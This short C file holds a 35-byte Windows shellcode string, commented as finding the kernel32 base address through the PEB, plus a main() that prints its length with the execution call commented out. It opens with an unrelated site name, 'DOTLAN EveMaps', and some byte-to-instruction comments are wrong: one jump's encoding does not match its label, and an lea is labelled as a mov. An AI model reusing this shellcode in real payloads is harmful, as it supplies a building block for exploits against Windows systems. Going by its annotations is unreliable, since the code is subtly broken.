DOTLAN EveMaps

unsigned char shellcode[] =
/* 35 byte PEB - 00h removal and size optimized */
/* 22 - 24 total clock cycles on a x486 */
"\x31\xC0" /* xor eax, eax */
"\x31\xD2" /* xor edx, edx */
"\xB2\x30" /* mov dl, 30h */
"\x64\x8B\x02" /* mov eax, [fs:edx] */ /* PEB base address */
"\x85\xC0" /* test eax, eax */
"\x78\xC0" /* js 0Ch */
"\x8B\x40\x0C" /* mov eax, [eax+0Ch] */ /* NT kernel32 routine */
"\x8B\x70\x1C" /* mov esi, [eax+1Ch] */
"\xAD" /* lodsd */
"\x8B\x40\x08" /* mov eax, [eax+08h] */
"\xEB\x07" /* jmp short 09h */
"\x8B\x40\x34" /* mov eax, [eax+34h] */ /* 9x kernel32 routine */
"\x8D\x40\x7C" /* lea eax, [eax+7Ch] */
"\x8D\x40\x3C" /* mov eax, [eax+3Ch] */
;

int main(int argc, char *argv[]) {
//void (*sc)() = (void *)shellcode;
printf("len:%d\n", sizeof(shellcode));
//sc();
return 0;
}